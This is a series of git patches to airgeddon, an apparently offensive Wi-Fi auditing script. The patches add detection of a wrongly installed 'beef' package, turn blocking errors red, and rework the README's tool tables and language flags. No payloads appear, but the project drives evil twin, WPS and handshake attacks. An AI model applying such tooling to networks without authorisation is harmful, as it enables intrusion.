arraliases=(${possible_alias_names[${item//[[:space:]]/ }]}) for item2 in "${arraliases[@]}"; do if hash "${item2}" 2> /dev/null; then @@ -8078,6 +8087,19 @@ function kill_beef() { fi } +#Detects if your beef is Flexible Brainfuck interpreter instead of BeEF +function detect_fake_beef() { + + readarray -t BEEF_OUTPUT < <(timeout -s SIGTERM 0.5 beef -h 2> /dev/null) + + for item in "${BEEF_OUTPUT[@]}"; do + if [[ ${item} =~ Brainfuck ]]; then + fake_beef_found=1 + break + fi + done +} + #Prepare system to work with beef function prepare_beef_start() { @@ -10341,8 +10363,21 @@ function check_compatibility() { echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" echo -e "\r" else - echo -e "${green_color} Ok\r${normal_color}" - optional_tools[${i}]=1 + if [ "${i}" = "beef" ]; then + detect_fake_beef + if [ ${fake_beef_found} -eq 1 ]; then + echo -ne "${red_color} Error${normal_color}" + optional_toolsok=0 + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" + echo -e "\r" + else + echo -e "${green_color} Ok\r${normal_color}" + optional_tools[${i}]=1 + fi + else + echo -e "${green_color} Ok\r${normal_color}" + optional_tools[${i}]=1 + fi fi done @@ -10379,6 +10414,10 @@ function check_compatibility() { echo language_strings "${language}" 219 "yellow" echo + if [ ${fake_beef_found} -eq 1 ]; then + language_strings "${language}" 401 "red" + echo + fi return fi @@ -10525,6 +10564,7 @@ function initialize_script_settings() { is_arm=0 pin_dbfile_checked=0 beef_found=0 + fake_beef_found=0 } #Detect screen resolution if possible From 73a1cbc01cbcee8c85802d29daa6edfb57e53400 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 13 Jan 2017 20:01:01 +0100 Subject: [PATCH 10/55] Colors changed. Now blocking errors in red --- airgeddon.sh | 122 +++++++++++++++++++++++++++----------------------- changelog.txt | 1 + 2 files changed, 66 insertions(+), 57 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 69bb2c850..3b1618a32 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -238,6 +238,7 @@ hashcat_charsets=("?l" "?u" "?d" "?s") green_color="\033[1;32m" red_color="\033[1;31m" red_color_slim="\033[0;031m" +green_color_title="\033[0;32m" blue_color="\033[1;34m" cyan_color="\033[1;36m" brown_color="\033[0;33m" @@ -2052,6 +2053,7 @@ function language_strings() { arr["RUSSIAN",190]="Начало расшифровки. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε [Ctrl+C] για να σταματήσει..." + #TODO re-use this unused 191 arr["ENGLISH",191]="Capture file you selected is an unsupported file format (not a pcap or IVs file)" arr["SPANISH",191]="El fichero de captura que has seleccionado tiene un formato no soportado (no es un fichero pcap o de IVs)" arr["FRENCH",191]="Le fichier de capture que vous avez sélectionné est dans un format non supporté (ce n'est pas un fichier pcap ou IVs)" @@ -3870,7 +3872,7 @@ function generate_dynamic_line() { fi if [ "${type}" = "title" ]; then - echo_red "${finaltitle}" + echo_green_title "${finaltitle}" elif [ "${type}" = "separator" ]; then echo_blue "${finaltitle}" fi @@ -3883,13 +3885,13 @@ function check_to_set_managed() { case "${ifacemode}" in "Managed") echo - language_strings "${language}" 0 "yellow" + language_strings "${language}" 0 "red" language_strings "${language}" 115 "read" return 1 ;; "(Non wifi card)") echo - language_strings "${language}" 1 "yellow" + language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 ;; @@ -3904,13 +3906,13 @@ function check_to_set_monitor() { case "${ifacemode}" in "Monitor") echo - language_strings "${language}" 10 "yellow" + language_strings "${language}" 10 "red" language_strings "${language}" 115 "read" return 1 ;; "(Non wifi card)") echo - language_strings "${language}" 13 "yellow" + language_strings "${language}" 13 "red" language_strings "${language}" 115 "read" return 1 ;; @@ -3925,7 +3927,7 @@ function check_monitor_enabled() { if [[ ${mode} != "Monitor" ]]; then echo - language_strings "${language}" 14 "yellow" + language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi @@ -4255,7 +4257,7 @@ function monitor_option() { if [ "$?" != "0" ]; then echo - language_strings "${language}" 20 "yellow" + language_strings "${language}" 20 "red" language_strings "${language}" 115 "read" return fi @@ -4307,7 +4309,7 @@ function check_interface_mode() { return 0 fi - language_strings "${language}" 23 "yellow" + language_strings "${language}" 23 "red" language_strings "${language}" 115 "read" exit_code=1 exit_script_option @@ -4337,7 +4339,7 @@ function language_menu() { case ${language_selected} in 1) if [ "${language}" = "ENGLISH" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="ENGLISH" language_strings "${language}" 83 "yellow" @@ -4346,7 +4348,7 @@ function language_menu() { ;; 2) if [ "${language}" = "SPANISH" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="SPANISH" language_strings "${language}" 84 "yellow" @@ -4355,7 +4357,7 @@ function language_menu() { ;; 3) if [ "${language}" = "FRENCH" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="FRENCH" language_strings "${language}" 112 "yellow" @@ -4364,7 +4366,7 @@ function language_menu() { ;; 4) if [ "${language}" = "CATALAN" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="CATALAN" language_strings "${language}" 117 "yellow" @@ -4373,7 +4375,7 @@ function language_menu() { ;; 5) if [ "${language}" = "PORTUGUESE" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="PORTUGUESE" language_strings "${language}" 248 "yellow" @@ -4382,7 +4384,7 @@ function language_menu() { ;; 6) if [ "${language}" = "RUSSIAN" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="RUSSIAN" language_strings "${language}" 307 "yellow" @@ -4391,7 +4393,7 @@ function language_menu() { ;; 7) if [ "${language}" = "GREEK" ]; then - language_strings "${language}" 251 "yellow" + language_strings "${language}" 251 "red" else language="GREEK" language_strings "${language}" 332 "yellow" @@ -4505,7 +4507,7 @@ function select_internet_interface() { if [ ${option_counter} -eq 0 ]; then return_to_et_main_menu=1 echo - language_strings "${language}" 280 "yellow" + language_strings "${language}" 280 "red" language_strings "${language}" 115 "read" return 1 fi @@ -5134,7 +5136,7 @@ function wps_attacks_parameters() { function print_iface_selected() { if [ -z "${interface}" ]; then - language_strings "${language}" 41 "blue" + language_strings "${language}" 41 "red" echo language_strings "${language}" 115 "read" select_interface @@ -5679,7 +5681,7 @@ function evil_twin_attacks_menu() { et_dos_menu else echo - language_strings "${language}" 281 "yellow" + language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi @@ -5695,7 +5697,7 @@ function evil_twin_attacks_menu() { et_dos_menu else echo - language_strings "${language}" 281 "yellow" + language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi @@ -5711,7 +5713,7 @@ function evil_twin_attacks_menu() { et_dos_menu else echo - language_strings "${language}" 281 "yellow" + language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi @@ -5728,7 +5730,7 @@ function evil_twin_attacks_menu() { et_dos_menu else echo - language_strings "${language}" 281 "yellow" + language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi @@ -5751,7 +5753,7 @@ function evil_twin_attacks_menu() { fi else echo - language_strings "${language}" 281 "yellow" + language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi @@ -5858,7 +5860,7 @@ function wps_attacks_menu() { fi else echo - language_strings "${language}" 367 "yellow" + language_strings "${language}" 367 "red" language_strings "${language}" 115 "read" fi fi @@ -5881,7 +5883,7 @@ function wps_attacks_menu() { fi else echo - language_strings "${language}" 371 "yellow" + language_strings "${language}" 371 "red" language_strings "${language}" 115 "read" fi fi @@ -5932,7 +5934,7 @@ function wps_attacks_menu() { language_strings "${language}" 373 "blue" else echo - language_strings "${language}" 372 "yellow" + language_strings "${language}" 372 "red" fi else echo @@ -5963,7 +5965,7 @@ function wps_attacks_menu() { language_strings "${language}" 373 "blue" else echo - language_strings "${language}" 372 "yellow" + language_strings "${language}" 372 "red" fi else echo @@ -6182,10 +6184,10 @@ function check_bssid_in_captured_file() { echo if [ "${nets_from_file}" = "" ]; then if [ ! -f "${1}" ]; then - language_strings "${language}" 161 "yellow" + language_strings "${language}" 161 "red" language_strings "${language}" 115 "read" else - language_strings "${language}" 216 "yellow" + language_strings "${language}" 216 "red" language_strings "${language}" 115 "read" fi return 1 @@ -6207,7 +6209,7 @@ function check_bssid_in_captured_file() { fi done - language_strings "${language}" 323 "yellow" + language_strings "${language}" 323 "red" language_strings "${language}" 115 "read" return 1 } @@ -6219,7 +6221,7 @@ function select_wpa_bssid_target_from_captured_file() { echo if [ "${nets_from_file}" = "" ]; then - language_strings "${language}" 216 "yellow" + language_strings "${language}" 216 "red" language_strings "${language}" 115 "read" return 1 fi @@ -8486,7 +8488,7 @@ function capture_handshake_evil_twin() { if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then echo - language_strings "${language}" 137 "yellow" + language_strings "${language}" 137 "red" language_strings "${language}" 115 "read" return 1 fi @@ -8543,7 +8545,7 @@ function capture_handshake_evil_twin() { return 0 else echo - language_strings "${language}" 146 "yellow" + language_strings "${language}" 146 "red" language_strings "${language}" 115 "read" return 2 fi @@ -8565,7 +8567,7 @@ function capture_handshake() { if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then echo - language_strings "${language}" 137 "yellow" + language_strings "${language}" 137 "red" language_strings "${language}" 115 "read" return 1 fi @@ -8580,7 +8582,7 @@ function capture_handshake() { function check_file_exists() { if [[ ! -f "${1}" || -z "${1}" ]]; then - language_strings "${language}" 161 "yellow" + language_strings "${language}" 161 "red" return 1 fi return 0 @@ -8592,13 +8594,13 @@ function validate_path() { dirname=${1%/*} if [[ ! -d "${dirname}" ]] || [[ "${dirname}" = "." ]]; then - language_strings "${language}" 156 "yellow" + language_strings "${language}" 156 "red" return 1 fi check_write_permissions "${dirname}" if [ "$?" != "0" ]; then - language_strings "${language}" 157 "yellow" + language_strings "${language}" 157 "red" return 1 fi @@ -8780,7 +8782,7 @@ function attack_handshake_menu() { return else echo - language_strings "${language}" 146 "yellow" + language_strings "${language}" 146 "red" language_strings "${language}" 115 "read" fi fi @@ -8903,7 +8905,7 @@ function explore_for_targets_option() { csvline=$(wc -l "${tmpdir}nws.csv" 2> /dev/null | awk '{print $1}') if [ "${csvline}" -le 3 ]; then echo - language_strings "${language}" 68 "yellow" + language_strings "${language}" 68 "red" language_strings "${language}" 115 "read" return 1 fi @@ -8991,7 +8993,7 @@ function explore_for_wps_targets_option() { washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}') if [ "${washlines}" -le ${wash_start_data_line} ]; then echo - language_strings "${language}" 68 "yellow" + language_strings "${language}" 68 "red" language_strings "${language}" 115 "read" return 1 fi @@ -9100,7 +9102,7 @@ function explore_for_wps_targets_option() { fi echo - language_strings "${language}" 72 "yellow" + language_strings "${language}" 72 "red" echo language_strings "${language}" 3 "green" read -r selected_wps_target_network @@ -9188,7 +9190,7 @@ function select_target() { while [[ ${selected_target_network} -lt 1 ]] || [[ ${selected_target_network} -gt ${i} ]]; do echo - language_strings "${language}" 72 "yellow" + language_strings "${language}" 72 "red" echo language_strings "${language}" 3 "green" read -r selected_target_network @@ -9456,7 +9458,7 @@ function et_dos_menu() { et_prerequisites else echo - language_strings "${language}" 327 "yellow" + language_strings "${language}" 327 "red" language_strings "${language}" 115 "read" return_to_et_main_menu=1 return @@ -9503,7 +9505,7 @@ function et_dos_menu() { et_prerequisites else echo - language_strings "${language}" 327 "yellow" + language_strings "${language}" 327 "red" language_strings "${language}" 115 "read" return_to_et_main_menu=1 return @@ -9550,7 +9552,7 @@ function et_dos_menu() { et_prerequisites else echo - language_strings "${language}" 327 "yellow" + language_strings "${language}" 327 "red" language_strings "${language}" 115 "read" return_to_et_main_menu=1 return @@ -9644,7 +9646,7 @@ function credits_option() { function invalid_language_selected() { echo - language_strings "${language}" 82 "yellow" + language_strings "${language}" 82 "red" echo language_strings "${language}" 115 "read" echo @@ -9654,7 +9656,7 @@ function invalid_language_selected() { #Show message for captive portal invalid selected language function invalid_captive_portal_language_selected() { - language_strings "${language}" 82 "yellow" + language_strings "${language}" 82 "red" echo language_strings "${language}" 115 "read" set_captive_portal_language @@ -9664,7 +9666,7 @@ function invalid_captive_portal_language_selected() { function forbidden_menu_option() { echo - language_strings "${language}" 220 "yellow" + language_strings "${language}" 220 "red" language_strings "${language}" 115 "read" } @@ -9672,7 +9674,7 @@ function forbidden_menu_option() { function invalid_menu_option() { echo - language_strings "${language}" 76 "yellow" + language_strings "${language}" 76 "red" language_strings "${language}" 115 "read" } @@ -9680,7 +9682,7 @@ function invalid_menu_option() { function invalid_iface_selected() { echo - language_strings "${language}" 77 "yellow" + language_strings "${language}" 77 "red" echo language_strings "${language}" 115 "read" echo @@ -9691,7 +9693,7 @@ function invalid_iface_selected() { function invalid_internet_iface_selected() { echo - language_strings "${language}" 77 "yellow" + language_strings "${language}" 77 "red" echo language_strings "${language}" 115 "read" echo @@ -10403,7 +10405,7 @@ function check_compatibility() { if [ ${essential_toolsok} -eq 0 ]; then echo - language_strings "${language}" 111 "yellow" + language_strings "${language}" 111 "red" echo return fi @@ -10433,7 +10435,7 @@ function check_bash_version() { if compare_floats_greater_or_equal "${bashversion}" ${minimum_bash_version_required}; then language_strings "${language}" 221 "yellow" else - language_strings "${language}" 222 "yellow" + language_strings "${language}" 222 "red" exit_code=1 exit_script_option fi @@ -10710,7 +10712,7 @@ function welcome() { if [ ${resolution_detected} -eq 1 ]; then language_strings "${language}" 294 "blue" else - language_strings "${language}" 295 "blue" + language_strings "${language}" 295 "red" echo language_strings "${language}" 300 "yellow" fi @@ -10740,14 +10742,14 @@ function airmonzc_security_check() { if [ "${airmon}" = "airmon-zc" ]; then if ! hash ethtool 2> /dev/null; then echo - language_strings "${language}" 247 "yellow" + language_strings "${language}" 247 "red" echo language_strings "${language}" 115 "read" exit_code=1 exit_script_option elif ! hash lspci 2> /dev/null; then echo - language_strings "${language}" 301 "yellow" + language_strings "${language}" 301 "red" echo language_strings "${language}" 115 "read" exit_code=1 @@ -10795,7 +10797,7 @@ function validate_et_internet_interface() { if [ "$?" != "0" ]; then echo - language_strings "${language}" 288 "yellow" + language_strings "${language}" 288 "red" language_strings "${language}" 115 "read" return 1 fi @@ -10803,7 +10805,7 @@ function validate_et_internet_interface() { check_default_route "${internet_interface}" if [ "$?" != "0" ]; then echo - language_strings "${language}" 290 "yellow" + language_strings "${language}" 290 "red" language_strings "${language}" 115 "read" return 1 fi @@ -10989,6 +10991,12 @@ function echo_red_slim() { last_echo "${1}" "${red_color_slim}" } +#Print black messages with background for titles +function echo_green_title() { + + last_echo "${1}" "${green_color_title}" +} + #Print pink messages function echo_pink() { diff --git a/changelog.txt b/changelog.txt index 3b7b1c06d..3e1406a67 100644 --- a/changelog.txt +++ b/changelog.txt @@ -2,6 +2,7 @@ New system for possible tool aliases checking the requirements Evil Twin attack added: Bettercap-Sslstrip2 and BeEF browser exploitation framework README.md beautified +Colors changed. Now blocking errors in red 5.14 Timeout changed while searching for "bad FCS" to avoid problems in old systems From 967b53351f1e96a900e4615e0042b9585754c62e Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 13 Jan 2017 21:06:15 +0100 Subject: [PATCH 11/55] Added language flags on Readme --- README.md | 15 ++++++++++++++- imgs/cat.png | Bin 0 -> 398 bytes imgs/es.png | Bin 0 -> 469 bytes imgs/fr.png | Bin 0 -> 545 bytes imgs/gr.png | Bin 0 -> 487 bytes imgs/pt.png | Bin 0 -> 554 bytes imgs/ru.png | Bin 0 -> 420 bytes imgs/us.png | Bin 0 -> 609 bytes 8 files changed, 14 insertions(+), 1 deletion(-) create mode 100644 imgs/cat.png create mode 100644 imgs/es.png create mode 100644 imgs/fr.png create mode 100644 imgs/gr.png create mode 100644 imgs/pt.png create mode 100644 imgs/ru.png create mode 100644 imgs/us.png diff --git a/README.md b/README.md index fb50d744f..269d822a1 100644 --- a/README.md +++ b/README.md @@ -129,7 +129,13 @@ Must be launched only using bash (not sh). Example `bash /path/to/airgeddon.sh`< If you launch the script using sh and a *"Syntax error"* appears, launch it with **bash instead of sh**. Even with no initial error, maybe you'll have it later. Use bash always! #Supported Languages -English, Spanish, French, Catalan, Portuguese, Russian and Greek. +![English][english] English
+![Spanish][spanish]Spanish
+![French][french]French
+![Catalan][catalan]Catalan
+![Portuguese][portuguese]Portuguese
+![Russian][russian]Russian
+![Greek][greek]Greek
#Project Collaboration You can join the project:
@@ -184,3 +190,10 @@ Bitcoin: *1AKnTXbomtwUzrm81FRzi5acSSXxGteGTH*
[1]: /imgs/airgeddon_banner.png "We'll conquer the earth!!" [2]: /imgs/paypal_donate.png "Show me the money!" [3]: /imgs/bitcoin_donate.png "Show me the money!" +[english]: /imgs/us.png "English" +[spanish]: /imgs/es.png "Spanish" +[french]: /imgs/fr.png "French" +[catalan]: /imgs/cat.png "Catalan" +[portuguese]: /imgs/pt.png "Portuguese" +[russian]: /imgs/ru.png "Russian" +[greek]: /imgs/gr.png "Greek" diff --git a/imgs/cat.png b/imgs/cat.png new file mode 100644 index 0000000000000000000000000000000000000000..5041e308e3a0f57f5ef9651b574d49d30e5dc635 GIT binary patch literal 398 zcmV;90df9`P)d94tALrX!Wj0S6V-v9sr07*qoM6N<$f?*uARsaA1 literal 0 HcmV?d00001 diff --git a/imgs/es.png b/imgs/es.png new file mode 100644 index 0000000000000000000000000000000000000000..c2de2d7111e3cb59cf6511dd2ab045e824bdb43e GIT binary patch literal 469 zcmV;`0V@89P)@|4`Xj5kLT%`al?B=W5I`&pe;NKW0^Ri&h`xRJ_x;0v zUa?=y?0^3M|NZ~}FE9c#{{3cP{Qd6}13&;Vf!z&M{pZWqKYu4MFm$tgedF}w=P#IQ z7-9gT-$11R0mKA$(qEu4%ok$*y!^wMRm*x;`R7|k6yu?K{s8?55I{^|9{?Tjhec2I zv+6&FhFWG_BbNVc|Ns94tNRJp!0`V!Py;{!F#$2enB#XZaohg-5%Tlk#oa&nzQW9g zl0Y{D4gK?n0U&@Fe=;yIr=|V7caH%YEYL84k`Tt9-wc2LGODP&y?7BIfLMT@X8Qey zK~fSFpuiXa$^klgG%);U`26kn-@hOg zU%!6+4+cOs(0HIde9xZz`}Onxub&LUB0x(30+2WcIRJn#2ut|?gWYu1Cf+!-K%B8# zdf?1WA}#uZ8oj7u>$I1i0Al&`=O0k%-@icgAIJnM0xA6maSq6BK-ECw|NZ*S`0Lj% z1_pot6puj;05Ax`F!=umqj7^frO?t|3^&I1kxUq9yECc+jQpY84SWH_0#pxl$?v~F z@*hy-KN0|X07U)z`4{NpU%#2aHUI<=%a31wK(7Du52Oc(|3O^?R1IN+RRjI-n*kVB z3=9AP#PZ|EACPLGJ%9cJNh|>9B%spYzZw7h1%?tp0I_@ndg9MNE>313@6R75NcceF zkr51-#U+7;F#`Sf7i0rK0I_`g_NQ&Z!E|`n6Mz6>fhdBj29g(UfB*aM-=Dw#|NaG$fByXc1LXhxFC@THKjjKQ05P&# zA9gbr+SsEBRPB^?1!&T?30hEBFhHFGv5AR^>DH}B00G4E=NHV45I6k$@0N4rAH*g9 z{zDN+_&*OP%Y{RC0Ro8e#fvv0A_7PTA~XKMG0?q08}8kE2oOLl>koag&}IJi^WT4% zN&g{c!yE%t3}J9_Fdy0V1t5S}4xV|TB*XjR%dfvcU;YDm6wdeu;Q~GU4op82)aAGO;3n0AgYI#891D4N?IF|Ns4E{L7&Dm*MXp#y@|U|NLS4 z{rmr)KmTFmmra`h0*Hly38?u0llM=#nEx6H|J4!x{U`A6pVzdvv{Rd?JIrI9L zs`Fos+0`Q4a^C}Q0+k5A1KaQ$>Lf<6lK=vUh2aka(D+|}f9<^YM_B9kC$A?0Z|}3+ z`ptao7t>dSY6f5^0o~2O01!YR8-T_G^}PA>yZ7X8cHUpx=KlJ_{+sC?ST#h$AD{+c zSpNn30U&@_7``$5{_{tYU-I{#-$2g*Lz_YNHw#c5FVJd`!65YaF9ZRd1Q0-s48{x$ s?-&?Px# literal 0 HcmV?d00001 diff --git a/imgs/ru.png b/imgs/ru.png new file mode 100644 index 0000000000000000000000000000000000000000..47da4214fd9edb383687c1d4f84fe8b42a51ceb2 GIT binary patch literal 420 zcmV;V0bBlwP)X|NRSO0LlM<{-BURBqYRGSojej zfLOL~|EH_V_~;P>Nc10*D0|Jxss< zFi1)Q<$$6LU}rIc*dU*QNFV}+9T))>0|XG`SD?F)5CbX~O$rDA0t^5@iDe$xIAIn5 O0000{qW|y?pud`Sa)3|NY&vWd%S0u>b>P!2!lUe;6EF*#G_c zFVXVt@6Q{uX@40W{p0iY2Aa+A^Cu7i8KT+YH}2j52q4BskM2rJ$^k9;2Xxc_|Np=M z&VaLlA*IO5FlECMfB<5VUNC{tBZO(|zW*;@GJN;|bTJ71`0*d;`d`2P!x=ymOA`2> z+y@9C##^^8%gd{MW@Y91_2d742B2~OQNf=-zkmD?Vqkdk_wPTUNeuu2#KPTG{_;O4 v7C%8E5*DLB7#Kb?Fnj}}-(W6879hX?8lYRg`Y`<~00000NkvXXu0mjfD6Jtx literal 0 HcmV?d00001 From 79fb7b4d6134f02a18ce58fcee9e53b91b72d39a Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 13 Jan 2017 21:13:15 +0100 Subject: [PATCH 12/55] Space correction on Readme --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 269d822a1..c3100c3a1 100644 --- a/README.md +++ b/README.md @@ -130,12 +130,12 @@ If you launch the script using sh and a *"Syntax error"* appears, launch it with #Supported Languages ![English][english] English
-![Spanish][spanish]Spanish
-![French][french]French
-![Catalan][catalan]Catalan
-![Portuguese][portuguese]Portuguese
-![Russian][russian]Russian
-![Greek][greek]Greek
+![Spanish][spanish] Spanish
+![French][french] French
+![Catalan][catalan] Catalan
+![Portuguese][portuguese] Portuguese
+![Russian][russian] Russian
+![Greek][greek] Greek
#Project Collaboration You can join the project:
From a8a0e03f5a3746be965a94a18dc21488a6852287 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 12:23:17 +0100 Subject: [PATCH 13/55] Readme refactorized. Now tools in tables. --- README.md | 90 ++++++++++++++++++++++++++----------------------------- 1 file changed, 42 insertions(+), 48 deletions(-) diff --git a/README.md b/README.md index c3100c3a1..a2b8b21a1 100644 --- a/README.md +++ b/README.md @@ -59,54 +59,48 @@ Airgeddon is already included in some Linux distros and repositories: Anyway, can be used with any Linux distro if you have installed the tools what script needs. The script checks for them at the beginning.
-We will enumerate the categories and tools. The format will be: "command -> possible package name". The command can be included in different packages depending of the distro.
- -Essential tools: <- *the script doesn't work if you don't have installed all of them* -``` -ifconfig -> net-tools -iwconfig -> wireless-tools -iw -> iw -awk -> awk / gawk -airmon-ng -> aircrack-ng -airodump-ng -> aircrack-ng -aircrack-ng -> aircrack-ng -xterm -> xterm -``` -Optional tools: <- *not necessary to work, only needed for some features* -``` -wpaclean -> aircrack-ng -crunch -> crunch -aireplay-ng -> aircrack-ng -mdk3 -> mdk3 -hashcat -> hashcat -hostapd -> hostapd -dhcpd -> isc-dhcp-server / dhcp-server / dhcp -iptables -> iptables -ettercap -> ettercap / ettercap-text-only / ettercap-graphical -etterlog -> ettercap / ettercap-text-only / ettercap-graphical -sslstrip -> sslstrip -lighttpd -> lighttpd -dnsspoof -> dsniff -wash -> reaver -reaver -> reaver -bully -> bully -pixiewps -> pixiewps -unbuffer -> expect -bettercap -> bettercap -beef -> beef / beef-xss -``` -Update tools: <- *not necessary to work, only used for auto-update*
-``` -curl -> curl -``` -Internal tools: <- *these are internally checked. Not necessary to work, good to have*
-``` -xdpyinfo -> x11-utils / xdpyinfo / xorg-xdpyinfo -ethtool -> ethtool -lspci -> pciutils -rfkill -> rfkill -``` -Is highly recommended to have the internal tools installed. They improve functionality and performance. For example, xdpyinfo allow the script to detect the desktop resolution in order to print windows in a better way. +We will enumerate the categories and tools. The command can be included in different packages depending of the distro.
+ +**Essential tools**: <- *the script doesn't work if you don't have installed all of them* + +| Command | Possible package name | // | Command | Possible package name | +| --- | --- | --- | --- | --- | +| ifconfig | net-tools | // | iwconfig | wireless-tools | +| iw | iw | // | awk | awk / gawk | +| airmon-ng | aircrack-ng | // | airodump-ng | aircrack-ng | +| aircrack-ng | aircrack-ng | // | xterm | xterm | + +**Optional tools**: <- *not necessary to work, only needed for some features* + +| Command | Possible package name | // | Command | Possible package name | +| --- | --- | --- | --- | --- | +| wpaclean | aircrack-ng | // | ettercap | ettercap / ettercap-text-only / ettercap-graphical | +| crunch | crunch | // | etterlog | ettercap / ettercap-text-only / ettercap-graphical | +| aireplay-ng | aircrack-ng | // | sslstrip | sslstrip | +| mdk3 | mdk3 | // | dhcpd | isc-dhcp-server / dhcp-server / dhcp | +| hashcat | hashcat | // | dnsspoof | dsniff | +| hostapd | hostapd | // | wash | reaver | +| lighttpd | lighttpd | // | reaver | reaver | +| iptables | iptables | // | bully | bully | +| bettercap | bettercap | // | pixiewps | pixiewps | +| beef | beef / beef-xss | // | unbuffer | expect | +**Important tip about BeEF** -> The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, Don't confuse with beef (Flexible Brainfuck interpreter). This package has the same name, same executable file name and can lead to confusion. Here is a link to the "good" one installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). + +**Update tools**: <- *not necessary to work, only used for auto-update* + +| Command | Possible package name | +| --- | --- | +| curl | curl | + +**Internal tools**: <- *these are internally checked. Not necessary to work, good to have* + +| Command | Possible package name | +| --- | --- | +| xdpyinfo | x11-utils / xdpyinfo / xorg-xdpyinfo | +| ethtool | ethtool | +| lspci | pciutils | +| rfkill | rfkill | +Is highly recommended to have the internal tools installed. They improve functionality and performance. For example, xdpyinfo allow the script to detect the desktop resolution in order to print windows in a better way (size and position). #Known incompatibilities Impossible compatibility for Mac OSX at the moment. Some reasons:
From 2b407e7662c5899f872d298b368ed2179dacf31b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 14 Jan 2017 15:36:07 +0100 Subject: [PATCH 14/55] License file updated to markdown format --- LICENSE | 674 -------------------------------------------------- LICENSE.md | 636 +++++++++++++++++++++++++++++++++++++++++++++++ README.md | 6 +- changelog.txt | 1 + 4 files changed, 640 insertions(+), 677 deletions(-) delete mode 100644 LICENSE create mode 100644 LICENSE.md diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 94a9ed024..000000000 --- a/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, 